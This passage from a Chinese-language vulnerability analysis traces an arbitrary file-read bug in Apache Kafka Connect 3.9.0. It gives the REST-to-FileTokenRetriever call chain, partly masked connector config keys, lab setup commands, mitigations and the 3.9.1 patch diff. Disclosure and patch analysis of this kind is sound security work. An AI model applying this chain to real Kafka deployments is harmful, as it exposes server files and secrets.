"****": "SASL_PLAINTEXT",
"****": "OAUTHBEARER",
"****": "****.OAuthBearerLoginCallbackHandler",

来调用相关认证方法,然后调用create方法(漏洞触发点)

image

通过

1
URL tokenEndpointUrl = cu.validateUrl(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL);

获取json中的sasl.oauthbearer.token.endpoint.url,继续跟进

image

这里可以看到java accessTokenRetriever.retrieve();返回了文件信息,我们向上追踪

image

发现需要传参,全局搜new FileTokenRetriever(

image

发现就在Create方法内,尴尬……

好,利用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[1] 用户提交 Connector 配置请求(HTTP API)
|
|--&gt; REST API: Connect REST `/connectors` 接口处理 connector 配置
|
[2] WorkerConfig / ConnectorConfig 解析配置(Map)
|
[3] validateConnectorConfig(...) 进行 connector 配置验证
|
[4] connector.config() -&gt; 返回 ConfigDef
|
|--&gt; connector.validate(...)(触发 MirrorSourceConnector.validate())
|
|--&gt; validateExactlyOnceConfigs(...)
|--&gt; validateEmitOffsetSyncConfigs(...)
|
[5] connector.start(props)
|
|--&gt; new MirrorSourceConfig(props)
|
|--&gt; super(props) --&gt; AbstractConfig 初始化
|
|--&gt; createAdmin(...)(构造 ForwardingAdmin)
|
|--&gt; forwardingAdmin(config)
|
|--&gt; get(FORWARDING_ADMIN_CLASS)
|--&gt; Utils.newParameterizedInstance(...)
|
|--&gt; KafkaMirrorMakerClientBasedAdmin.create(...)
|
|--&gt; OAuthBearerLoginModule / SaslClientAuthenticator 初始化
|
|--&gt; AccessTokenRetriever.create(...)
|
|--&gt; cu.validateUrl(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL)
|
|--&gt; protocol == "file" ?
--&gt; new FileTokenRetriever(Path)
|
|--&gt; init()
|
|--&gt; Utils.readFileAsString(path)
|
|--&gt; Files.readAllBytes(...)

查看文件结果看这个路由:

image

获取statusBackingStore中对应Connector的tasks,结果就在tasks[‘trace’]里,可以自己看看这个的逻辑,这里就不多说了

环境搭建

下载3.9.0源码包
gradle构建一下,然后运行命令:

1
2
3
./bin/zookeeper-server-start.sh config/zookeeper.properties
./bin/kafka-server-start.sh config/server.properties
./bin/connect-distributed.sh config/connect-distributed.properties

这里的connect-distributed.sh如果需要用idea调试的话,最好在里面加上debug,用idea的jvm连接

五、修复方式

Standalone模式:修改connect-standalone.properties中的listeners或rest.host.name字段Distributed模式:修改connect-distributed.properties中的listeners或rest.host.name字段使用流量防护设备(如WAF、防火墙)拦截/connectors接口请求中携带敏感文件路径的恶意流量

END

DIFF一下,一眼就能发现3.9.1对uri进行了校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
// AccessTokenRetrieverFactory.java
public static AccessTokenRetriever create(Map<String, ?> configs, Map<String, Object> metadata) {
ConfigurationUtils cu = new ConfigurationUtils(configs);
cu.throwIfURLIsNotAllowed(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL); // 新增校验
// ...原有逻辑
}

// VerificationKeyResolverFactory.java
public static VerificationKeyResolver create(Map<String, ?> configs) {
ConfigurationUtils cu = new ConfigurationUtils(configs);
cu.throwIfURLIsNotAllowed(SASL_OAUTHBEARER_JWKS_ENDPOINT_URL); // 新增校验
// ...原有逻辑
}

漏洞点就是这个。好啦,结束。高中生,菜勿喷。